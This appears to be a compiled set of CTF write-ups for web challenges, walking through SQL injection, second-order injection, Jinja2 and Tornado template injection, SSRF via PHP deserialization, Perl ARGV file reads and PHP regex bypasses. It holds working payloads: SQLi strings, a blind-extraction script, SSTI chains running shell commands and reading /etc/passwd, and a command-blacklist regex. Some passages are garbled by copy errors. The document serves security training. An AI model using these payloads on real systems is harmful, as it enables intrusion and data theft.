2,数字型判断是否有注入
and 1=1//返回正确页面
and 1=2//返回错误页面
3,字符型判断是否有注入
‘ and ‘1’='1//返回正确页面
’ and '1=2//返回错误页面

构造方式1

构造输入为:sd’ union select 1,2 #和sd’ union select 1,2 ,3# (第一个 ‘ 闭合后台命令的第一个 ’ ,#注释掉后台的第二个 ’ )只有1,2,3时才正确返回,说明数据格式为3列。
接下来要利用INFORMATION_SCHEMA来得到所有表名,命令很多种,这里就这么构造:
sd’ union select 1,2,table_name from information_schema.tables # 前面的1,2,就完全是凑列数的,得到一大串表名,耐下心来找,发现最后有一个secret_table数据库,按照攻防世界“此地无银三百两”的提示习惯,目标就是他,没跑儿了!
接下来就是要利用information_schema.columns的结构来获得secret表的信息了,根据一位大牛的文章,我们要得到的信息也就只有column_name了,或者再加上colume_type查看数据类型。那么构造:
sd’ union select 1,column_type,column_name from information_schema.columns where table_name=‘secret_table’ #
里面果然有flag,那么就直接:
sd’ union select 1,2,fl4g from secret_table #

构造方法2:
NewsCenter
进入后我们发现有一个搜索框进行新闻搜索我们尝试有无sql注入
我们输入1’ and 1=1 #判断有无sql注入发现有

在这里插入图片描述
查看列数1’ order by 3 #
在这里插入图片描述
联合查询 1’ union select 1,2,3 #
在这里插入图片描述
表:
1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
在这里插入图片描述
查字段:
1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘secret_table’ #
在这里插入图片描述
查看字段值
1’ union select 1,2,(select group_concat(id,0x3a,fl4g) from users) #
在这里插入图片描述
flag:
QCTF{sq1_inJec7ion_ezzz}

12 supersqli(sql注入)

版权问题,来自
https://blog.csdn.net/qq_40477290/article/details/116449074

31.unfinish(SQL二次注入)

很典型的二次注入。懂得了其他也都懂了。

过滤了逗号,过滤了,关键数据库名字,是一个好题,而且一个单引号不行, 两边的单引号才行。

我的做题思路比较窄,比如这里的登陆页面联想到注册页面,还需要多做多看
这里的二次注入也不是很熟悉,我的理解有点僵硬,觉得只能是单次请求的两次查询,这种思想要改正
多肝,共勉

参考了

Dirsearch 工具扫描一波,看看有没有敏感目录
在这里插入图片描述
[11:34:35] 200 - 0B - /config.php
[11:34:42] 301 - 326B - /fonts -> http://111.200.241.244:59197/fonts/
[11:34:45] 301 - 327B - /images -> http://111.200.241.244:59197/images/
[11:34:45] 403 - 292B - /images/
[11:34:45] 302 - 0B - /index.php -> login.php
[11:34:45] 302 - 0B - /index.php/login/ -> login.php
[11:34:48] 200 - 1KB - /login.php
[11:34:59] 200 - 2KB - /register.php
[11:35:01] 403 - 299B - /server-status/
[11:35:01] 403 - 298B - /server-status
[11:35:09] 301 - 328B - /uploads -> http://111.200.241.244:59197/uploads/

register.php 注册框框
login.php 登入框框,
一般看到登入和注册,我们就联想到了二次注入了。

结合前面看到有sql注入的漏洞。

确定了是二次注入。所以我们注册看看然后看是否有我们说的。

在这里插入图片描述
登入进去后发现什么都没有啊。
只是看到了用户名了。
而用户名是可控的,推测注册用户时会使用

insert into table value(’$email’,’$username’,’$password’)
尝试一下这里是不是二次注入(这里注入,登陆后可以看到结果
语句0’ + ascii(substr(database(),1,1)) +'0被过滤

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
可以看到直接取数据库的东西被过滤掉了,

302都是没有过滤掉的,重定向就说明注册成功了,

下面这些是直接简单的被处理,然后再次弹窗到了注册界面了。
在这里插入图片描述
我们推测这里的语句是

insert into tables value(‘ e m a i l ′ , ′ email',' email,username’,’$passwpord’);
登录成功后语句:

SELECT * FROM tables WHERE email = ‘’$email";
他这里注册的时候作了限制,所以联合查询这种方法不能用。

那么尝试在注册时用户名处进行闭合。

用户名处构造group_concat(1,database()),database’,‘1’)#
结果返回
nnnnoooo!!!
有过滤,
在这里插入图片描述
这种一个单引号不行。 我们换换看看其他

在这里插入图片描述
可以用,

在这里插入图片描述
在这里插入图片描述
这种引号也可以用。。

经常用的关键敏感也不行。
在这里插入图片描述

解题1
在这里插入图片描述

说明存在注入,and运算结果为0. 使用两个单引号可以注入,

下面节选自
https://yanmie-art.github.io/2020/08/05/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8Cunfinish/

与其他编程语言不同,MySQL中,+(加号)只有一个功能:运算符。

如果加号运算中有字符,那么mysql就会把字符转变为数字在相加,比如select ‘1’+‘1a’;结果为2,转换过程跟php类似。
下面看几个例子。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到,只有十六进制成功转换。
但是又出来一个问题,如果十六进制转换后的字符串有字母的话,转化为数字就会相加就会丢失字符。
在这里插入图片描述
又但是当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度。
这里还可以使用分段读法。

在这里插入图片描述
抄大佬的脚本

import requests
import re


register_url = '/register.php'
login_url = '/login.php'


for i in range(1, 100):
    register_data = {
        'email': '111@123.com%d' % i,
        'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
        'password': 'admin'
    }
    res = requests.post(url=register_url, data=register_data)

    login_data = {
        'email': '111@123.com%d' % i,
        'password': 'admin'
    }
    res_ = requests.post(url=login_url, data=login_data)
    code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
print(chr(int(code.group(1))), end='')

这里经验告诉我们flag在数据表里
在这里插入图片描述
其实这个经验是错的。
真实解题是这样的。
是一个表一个表的查询,然后找到flag表。请自行学习。

Python模板注入---------------------------------------

这里我给几个链接仅供学习,因为这部分的知识太多了,需要大量积累
SSTI完全学习
从零学习flask模板注入
jinja2模板注入
最强SSTI模板注入

18.shrine SSTI模板注入

在这里插入图片描述
01模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。

02模板渲染
首先 模板渲染分解为前端渲染和后端渲染,还有浏览器渲染。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

03服务器模板注入
服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。

这里模板注入前加“服务端”,这是为了和 jQuery,KnockoutJS 产生的客户端模板注入区别开来。通常的来讲,前者甚至可以让攻击者执行任意代码,而后者只能 XSS。

04模板引擎注入
一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig,模板注入是一种注入攻击,可以产生一些特别有趣的影响。对于AngularJS的情况,这可能意味着XSS,并且在服务器端注入的情况下可能意味着远程代码执行。重点来了,不同引擎有不同的测试以及注入方式!
flask/jinja2模板注入
PHP/模版引擎Twig注入

05tplmap
利用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap,都是基于python的。
https://www.cnblogs.com/LEOGG321/p/13441283.html
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
构造payload
{{get_flashed_messages.globals[‘current_app’].config[‘FLAG’]}}
(构造2)

知识
我们输入的值首先被传到了safe_jinja函数,然后由flask.render_template_string进行渲染
对于没有用过flask框架的我来说理解safe_jinja函数最后的return操作有点困难,我本地执行了一下

在这里插入图片描述
很容易理解的是,我们传入的s会首先被去除‘(’,‘)’,然后在最后加上处理后的s,前面是
{% set config=None%}{% set self=None%}
可以知道是结合flask.render_template_string渲染肯定会有漏洞。
解题
在这里插入图片描述
首先在shrine路径下测试ssti能正常执行 说明模板注入
/shrine/{{ 2+2 }}

在这里插入图片描述
接着分析源码
app.config[‘FLAG’] = os.environ.pop(‘FLAG’)

注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
return ‘’.join([’{{% set {}=None%}}’.format© for c in blacklist]) + s

上面这行代码把黑名单的东西遍历并设为空,例如:
/shrine/{{config}}

在这里插入图片描述
被过滤掉了。
不过python还有一些内置函数,比如url_for和get_flashed_messages
/shrine/{{url_for.globals}}
在这里插入图片描述
在这里插入图片描述
看到current_app意思应该是当前app,那我们就当前app下的config:
/shrine/{{url_for.globals[‘current_app’].config}}
在这里插入图片描述
get_flashed_messages

返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
/shrine/{{get_flashed_messages.globals[‘current_app’].config}}
在这里插入图片描述

17. easytornado(Tornado)

Tornado 框架
参考链接
https://blog.csdn.net/qq_45951598/article/details/111312370
SSTI模板注入
https://www.cnblogs.com/20175211lyz/p/11425368.html

https://blog.csdn.net/qq_45951598/article/details/111312370

知识点
1.2.Tornado VS Django
Django:重量级web框架,功能大而全,注重高效开发
在这里插入图片描述
easy_tornado
在这里插入图片描述
tornado是python中的一个web应用框架。(Python Web 框架:Tornado)
render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。
render函数介绍
tornado模板self.render和模板变量传递
在这里插入图片描述
解题
忽然想起昨天写过的ssti漏洞,试一下
在这里插入图片描述
结果失败了,我又试了其他手法,都失败了,不知道问题在哪
于是去搜tornado漏洞,看到了一篇wp
filehash=md5(cookie_secret+md5(filename))
现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。

在这里插入图片描述
测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)
在这里插入图片描述
尝试/error?msg={{datetime}}
在这里插入图片描述
在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
在这里插入图片描述
handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。

构造payload获取cookie_secret

/error?msg={{handler.settings}}
在这里插入图片描述
在这里插入图片描述
‘cookie_secret’: ‘M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r’
在这里插入图片描述

import hashlib
def md5(s):
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()

def filehash():
     filename = '/fllllllllllllag'
     cookie_secret = 'e5e6ae17-e216-4ffc-9c13-637ad93bf65d'
     print(md5(cookie_secret+md5(filename)))
 
if __name__ == '__main__':
    filehash()

加密得:7e22a335b6097c4e4c5d9db56c9d2332

在这里插入图片描述

13.PHP_python_template_injection

【实验原理】
Python SSTI,404模板注入。
【实验目的】
掌握框架漏洞利用
【实验环境】
Windows
【实验工具】
firefox
【实验步骤】
1.查看页面,根据提示,随便在url后添加字符,http://192.168.100.161:62264/38 {{‘a’+‘x’}},查看报错页面,可以发现显示ax,存在SSTI,如图所示
在这里插入图片描述

2.访问http://192.168.100.161:62264/%7B%7B[].class.base.subclasses()%7D%7D,来查看所有模块
3.os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个
4.访问http://192.168.100.161:62264/%7B%7B[].class.base.subclasses()[59].init.func_globals.keys()%7D%7D,查看catch_warnings模块都存在哪些全局函数,可以找到linecache函数,os模块就在其中
5.使用[‘o’+‘s’],可绕过对os字符的过滤,访问http://192.168.100.161:62264/%7B%7B().class.bases[0].subclasses()[59].init.func_globals.values()[13]‘eval’%7D%7D查看flag文件所在
6.访问http://192.168.100.161:62264/%7B%7B%22%22.class.mro[2].subclasses()40.read()%7D%7D,可得到flag,如图所示
在这里插入图片描述

详细的解题思路

Web_python_template_injection
解题思路:

  • 首先看到题目,就知道这道题是关于 ** 模板注入** 的,什么是模板注入呢?
  • 为了写 html 代码的时候方便,很多网站都会使用模板,先写好一个 html 模板文件,
    比如:
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)

这段代码中的 html 就是一个简单的模板文件,当开发者想要这个模板对应的样式
时,可以直接用 render_template_string 方法来调用这个模板,从而直接把这个样
式渲染出来。
而模板注入,就是指 ** 将一串指令代替变量传入模板中让它执行** ,以这段代码为
例,我们在传入 code 值时,可以用 {{}} 符号来包裹一系列代码,以此替代本应是
参数的 id

http://..../?id={{代码}}
  • 知道了什么是模板文件,接下来开始模板注入环节:
    首先,先测试一下是不是确实能注入,构造一个简单的测试 url:
    http://111.198.29.45:46675/{{7*7}}
    服务器回传:
    URL http://111.198.29.45:46675/49 not found
    /49 的存在说明 7*7 这条指令被忠实地执行了。
    接下来,开始想办法编代码拿到服务器的控制台权限:

  • 首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的,思
    考怎样用 python 语句获取控制台权限:想到了 os.systemos.popen (参考资
    ), 这两句前
    者返回 ** 退出状态码** , 后者 以 以 file 形式返回 ** 输出内容**, 我们想要的是
    内容,所所以选择 os.popen
    知道了要用这一句,那么我要怎么找到这一句呢?python 给我们提供了完整的寻找
    链(参考资料):

  • class : 返回对象所属的类
    mro : 返回一个类所继承的基类元组,方法在解析时按照元组的
    顺序解析。
    base : 返回该类所继承的基类
    // __base__和__mro__都是用来寻找基类的
    subclasses : 每个新类都保留了子类的引用,这个方法返回一个
    类中仍然可用的的引用的列表
    init : 类的初始化方法
    globals : 对包含函数全局变量的字典的引用

  • 首先,找到当前变量所在的类:
    111.198.29.45:46675/%7B%7B''.__class__%7D%7D
    服务器回复:
    URLhttp://111.198.29.45:46675/<type 'str'>not found
    发现这个回复里已经告诉我们 这个变量的类是 ‘str’ 了。

  • 接下来,从这个类找到它的基类:
    http://111.198.29.45:46675/%7B%7B''.__class__.__mro__%7D%7D
    服务器回复:
    URLhttp://111.198.29.45:46675/(<type 'str'>, <type 'basestrin g'>, <type 'object'>) notfound
    发现基类也有了。

  • 然后,通过基类来找其中任意一个基类的引用列表:
    http://111.198.29.45:46675/%7B%7B''.__class__.__mro__[2].__sub classes__()%7D%7D
    这里有个小细节,__mro__[] 中括号里填谁其实区别都不大,这些基类引用的
    东西都一样。
    服务器回复了很长的一个列表,我就不列举了,从其中可以找到我们想要
    os 所在的 site._Printer 类,它在列表的第七十二位,
    __subclasses__()[71]

  • 通过 __subclasses__()[71].__init__.__globals__['os'].popen('命令 行语句').read() 来 ** 调用服务器的控制台** ** 并显示** ,这下我们就可以随便用
    控制台输出了。
    直接填命令语句:
    http://111.198.29.45:46675/%7B%7B''.__class__.__mro__[2].__sub classes__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D
    注意这里的 popen('ls').read() ,意思是 ** 得到 ls 的结果并读取给变量
    ** ,因此它会把当前目录所有文件都打印在我们的网页上,内容如下:
    URLhttp://111.198.29.45:46675/fl4g index.py not found
    从这里我们看到,flag 存在一个叫 fl4g 的无后缀文件里,那就好办了,再
    构造一个 payload,用 cat 读一下内容:
    http://111.198.29.45:46675/%7B%7B''.__class__.__mro__[2].__sub classes__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D% 7D
    服务器回复:
    URLhttp://111.198.29.45:46675/ctf{f22b6844-5169-4054-b2a0-d95 b9361cb57} not found
    flag 到手~

注意事项:

‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()

以上 payload 是一个非常常用的 payload,同样常用的还有
```python
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['
os'].system('ls')

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

28. Confusion1(request.args.[key]来绕过关键字限制)

在这里插入图片描述
在这里插入图片描述
通过request.args.[key]来绕过关键字限制
在python的flask中的框架,可以通过request.args.get[‘key’]来获取url中的get参数,类似于php中$_GET[‘key’] ,在进行python模板注入时,我们可以利用这个性质来绕过关键字的书写
json
json是字符串类型,但是形式像python中的字典类型,主要作用在于,json是字符串就方便在各种编程语言中传输,并且方便转换成对象,数组等。

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。

https://www.guildhab.top/?p=1248

思路
进去题目页面,先f12没有提示,再然后只能发现只有index.php有回显,login.php和register.php都是回显404,我们这时f12可以看到提示 :/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt ,这应该是flag的位置,我们要去读取这个文件,这时我用dirsearch扫一下,发现payload都可以回显200,但是都只是回显一个弹框(只是内容不同),没有回显具体内容,抓包看响应头和请求头也没发现,然后就不知道怎么办。
看了wp说有python模板注入,傻了我,于是我用bp中的scanner模块扫一下,发现果然存在模板注入,并且告诉我是jinja2的模板引擎,那么就是python模板注入,估计是flask,于是开始注入
构造http://220.249.52.133:50097/{{2*2}}
回显The requested URL /4 was not found on this server.

在这里插入图片描述
那么我们就可以照着这个形式注入
构造http://220.249.52.133:50097/{{’’.class}}

在这里插入图片描述
这时候回显了一个弹框,为什么呢,可能是存在过滤,过滤了url中的path,那么参数呢?

在这里插入图片描述
在这里插入图片描述
我们用request.args.key来试着利用参数进行绕过
{{’’.class}} => {{’’[request.args.t1]}}&t1=class 方法二
构造http://220.249.52.133:50097/{{’’[request.args.a]}}?a=class

在这里插入图片描述

回显The requested URL /<type ‘str’> was not found on this server.
说明这里我们成功进行了绕过,接下来照着这个思路继续尝试,发现还过滤了mro,subclasses,read,我们照样利用参数进行绕过,注意[request.args.a][request.args.b] 之间相当于有个字符连接符,并且request.args.a?a=read 注意a不是等于read(),不然会返回500。
构造payload:{{’’[request.args.a][request.args.b][2]request.args.c40request.args.d}}?a=class&b=mro&c=subclasses&d=read
得到flag
我试着根据http://220.249.52.133:47213/{{’’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘ls’).read()}}
利用参数绕过,来得到flag
但是在尝试过程中发现globals被过滤了。不管在path中还是参数中都过滤了,不知道怎么绕过,就放弃了用第二种方法。。可能大佬知道怎么绕过
Payload:

{{’’[request.args.a][request.args.b][2]request.args.c}}?a=class&b=mro&c=subclasses&d=read

综合题目

29. Fakebook(SSRF、反序列化、SQL注入)

这里题目比较综合了比较提升了难度,这种是比较好的题目。真实CTF都是这种题目。
参考了
• PHP反序列化
• 备份文件下载
• SSRF
• SQL注入

结合五个人的up和知识点,我才弄懂。
1
2
3
4
5

解题步骤
在这里插入图片描述
注册一个账号后,打开网页
在这里插入图片描述
然后简单‘

在这里插入图片描述
意外发现是sql注入了。
[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’ at line 1)

Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66

分析了整体结构 点击jion可以添加账号还有博客地址添加OK之后会有ifram把你的博客地址引用到当前页面jion添加的信息点击进入发现了get注入点 注入进去没flag 不过在data字段下发现了序列化的值

/view.php?no=1 and 1=1
在这里插入图片描述
/view.php?no=1 and 1=2

在这里插入图片描述
说明有sql注入。
/view.php?no=1 order by 5

在这里插入图片描述
在这里插入图片描述
//发现过滤了union select 使用注释绕过
/view.php?no=-1 union/**/select 1,2,3,4
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
简单使用、/*/绕过

在这里插入图片描述

/view.php?no=-1 union//select 1,database(),3,4
//得到数据库数据fakebook
/view.php?no=-1 union/
/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
//得到表名数据:users
/view.php?no=-1 union//select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘users’
//得到字段数据:no,username,passwd,data
/view.php?no=-1 union/
/select 1,group_concat(data),3,4 from users
//得到data字段下数据:O:8:“UserInfo”:3:{s:4:“name”;s:7:“xiaohua”;s:3:“age”;i:12;s:4:“blog”;s:9:“baidu.com”;}

在这里插入图片描述

到这里没思路了 因为我用的扫描器都没扫出什么 最后看wp才知道 robots.txt里面有东西(常识啊!!! 还是太懒。。。主要靠工具了。。)

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
user.php.bak源码:

<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); //初始化一个curl会话 curl_setopt($ch, CURLOPT_URL, $url); //设置需要抓取的URL curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上 $output = curl_exec($ch); //运行cURL,请求网页 $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); //关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄 return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } } **审计源码发现其中get()函数存在SSRF(服务端请求伪造)漏洞。** 综合考虑:服务端请求伪造漏洞,在服务器上的flag.php文件,网站配置文件的物理路径(同时也是flag.php的路径),PHP反序列化。 整理出思路:利用no参数进行注入,在反序列化中构造file文件协议,利用服务端请求伪造漏洞访问服务器上的flag.php文件。 构造注入: <?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; } $a = new UserInfo(); $a->name = 'admin888'; $a->age = 12; $a->blog = 'file:///var/www/html/flag.php'; echo serialize($a); ?>

O:8:“UserInfo”:3:{s:4:“name”;s:8:“admin888”;s:3:“age”;i:12;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

30.i-got-id-200(perl网页文件+ARGV上传造成任意文件读取)

点击Files,这里会把上传的文件的内容在下方输出,猜测后台逻辑:
在这里插入图片描述
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的
在这里插入图片描述

在这里插入图片描述
这里根据网址猜测file.pl位于/var/www/cgi-bin/目录下,返回结果如下:

#!/usr/bin/perl
<br />
<br />use strict;
<br />use warnings;
<br />use CGI;
<br />
<br />my $cgi = CGI->new;
<br />
<br />print $cgi->header;
<br />
<br />print << "EndOfHTML";
<br /><!DOCTYPE html
<br />	PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
<br />	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
<br />>
<br /><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<br />	<head>
<br />		<title>Perl File Upload</title>
<br />		<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<br />	</head>
<br />	<body>
<br />		<h1>Perl File Upload</h1>
<br />		<form method="post" enctype="multipart/form-data">
<br />			File: <input type="file" name="file" />
<br />			<input type="submit" name="Submit!" value="Submit!" />
<br />		</form>
<br />		<hr />
<br />EndOfHTML
<br />
<br />if ($cgi->upload('file')) {
<br />    my $file = $cgi->param('file');
<br />    while (<$file>) {
<br />        print "$_";
<br />        print "<br />";
<br />    }
<br />}
<br />
<br />print '</body></html>';
<br /></body></html>

基本上和推测的一致.接着我们利用bash来读取:
在这里插入图片描述
/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/|

这里再使用
/cgi-bin/file.pl?/bin/bash%20-c%20cat${IFS}/flag|

/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/| 这样就可以了嘛、%20为空格,可换成+号

总结:perl文件遇到上传可配合ARGV文件使用造成任意文件读取,然后任意文件读取可利用bash执行一定的命令。

23.FlatScience(robots协议 + sqlite注入)

这个题,三个新,一个是需要爆破pdf,而是sqlite注入、robots协议 。

参考了

解题过程

点击打开场景,发现都是文件下载的内容,是几篇英文文献
可以扫描
在这里插入图片描述
上一题有用到的robots.txt,构造一下http://IP:端口/robots.txt
果然有重要内容
在这里插入图片描述
在这里插入图片描述
这里源码中出现了?debug,可能是一个调试页面,我们访问看看
在这里插入图片描述
在login页面有报错,我们猜测是sql注入
他的源码中写到,登录是你不可能绕过的
在这里插入图片描述
拿到源码了。

<?php 
if(isset($_POST['usr']) && isset($_POST['pw'])){ 
        $user = $_POST['usr']; 
        $pass = $_POST['pw']; 

        $db = new SQLite3('../fancy.db'); 
         
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"); 
    if($res){ 
        $row = $res->fetchArray(); 
    } 
    else{ 
        echo "<br>Some Error occourred!"; 
    } 

    if(isset($row['id'])){ 
            setcookie('name',' '.$row['name'], time() + 60, '/'); 
            header("Location: /"); 
            die(); 
    } 

} 

if(isset($_GET['debug'])) 
highlight_file('login.php'); 
?>

判定POST提交的usr和pw是否存在,很显然usr处存在注入
这里提醒是sqlite数据库
tips:
sqlite数据库有一张sqlite_master表,
里面有type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息

可见,存在注入
但是并没有跑出来,可能是我的网速问题
这里我们知道了他的数据库是sqlite
那么我们进行手工注入
1’ --+,不报错,说明闭合方式确定了。
$res = d b − > q u e r y ( " S E L E C T i d , n a m e f r o m U s e r s w h e r e n a m e = ′ " . db->query("SELECT id,name from Users where name='". db>query("SELECTid,namefromUserswherename=".user."’ and password=’".sha1($pass.“Salz!”)."’"); 源码可以看见

在这里插入图片描述
我们可以看到源码是两个字段,因此我们跳过了union 也必须是查询两个字段,

1’ order by 3

也可以通过这样来看字段,有多少。
在这里插入图片描述
所以这里我们可以根据sqlite数据库有一张sqlite_master表,再次
在这里插入图片描述
这样是错误的
usr=’ union select name,sql from Usersr --+&pw=sdf
在这里插入图片描述

name=+CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29;

在这里插入图片描述
name=
CREATE TABLE Users(id int primary key,name varchar(255),
password varchar(255),
hint varchar(255));

在这里插入图片描述
方法2
1’ union select id,group_concat(id) from users–+得到1,2,3

1’ union select id,group_concat(name) from users–+得到admin,fritze,hansi

1’ union select id,group_concat(password) from users–+得到3fab54a50e770d830c0416df817567662a9dc85c、54eae8935c90f467427f05e4ece82cf569f89507、34b0bb7c304949f9ff2fc101eef0f048be10d3bd
上面的源码中的查询语句的password就是对密码+salt进行了sha1,

我们登陆的话应该需要利用sha1函数和salt找出密码,

admin的hint是 +my+fav+word+in+my+fav+paper?!,

让利用 pdf找出 密码????

我为什么不直接进行 sha1爆破呢???

直接在线爆破:

https://www.somd5.com/

得到: ThinJerboaSalz!

上面的源码中的查询语句的password就是对密码+salt进行了sha1,

admin的密码就是 : ThinJerboa

直接在 admin.php页面中登录,得到flag:

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

方法2:代码方法爆出password字段: ThinJerboaSalz! 解密:ThinJerboaSalz! 根据hint 字段里的提示,就能猜到 password = md5(user_passwd + salt) 那拆单词就行了。 直接 ThinJerboa 登录。 (菜鸡的解法,大佬们忽喷)

在这里插入图片描述

34.favorite_number(代码审计综合)

参考了

知识点
知识点
• php5.5的数组key溢出
• 换行符绕过正则跨行匹配
• inode绕过正则
• 文件输出绕过正则

有数组的key溢出问题
参考:
PHP的信息安全(入侵获取$flag)的题目【Q2】
• PHP数组的key溢出问题
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
解题

打开流只有只有了

<?php 
//php5.5.9 
$stuff = $_POST["stuff"]; 
$array = ['admin', 'user']; 
if($stuff === $array && $stuff[0] != 'admin') { 
    $num= $_POST["num"]; 
    if (preg_match("/^\d+$/im",$num)){ 
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ 
            echo "my favorite num is:"; 
            system("echo ".$num); 
        }else{ 
            echo 'Bonjour!'; 
        } 
    } 
} else { 
    highlight_file(__FILE__); 
}

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
简单的代码审计

首先是个判断,既要数组强等于,又要首元素不等
然后是个正则,要求整个字符串都是数字,大小写不敏感,跨行检测
最后是个黑名单,把常用的都排除了
这个绕过有点东西
第一个就头疼

想来想去
只能从溢出或者php5.5.9本身的漏洞去思考了

查了查
有数组的key溢出问题
参考:
于是得到payload

stuff[4294967296]=admin&stuff[1]=user&num=123

在这里插入图片描述
成功绕过第一个条件

然后是数字检测
查了查
跨行检测可以绕过

用换行符**%0a**
payload如下

在这里插入图片描述
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
在这里插入图片描述

看不到任何的结果,然后进行

在这里插入图片描述
这样不行是因为传过去的时候是URL编码了。所以直接在里面改。

方法1 (tac +s索引绕过)

用inode
索引节点
先寻找flag的inode
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /

在这里插入图片描述
这里我们使用tac来读取文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
方法2
输出到文件里
然后执行文件
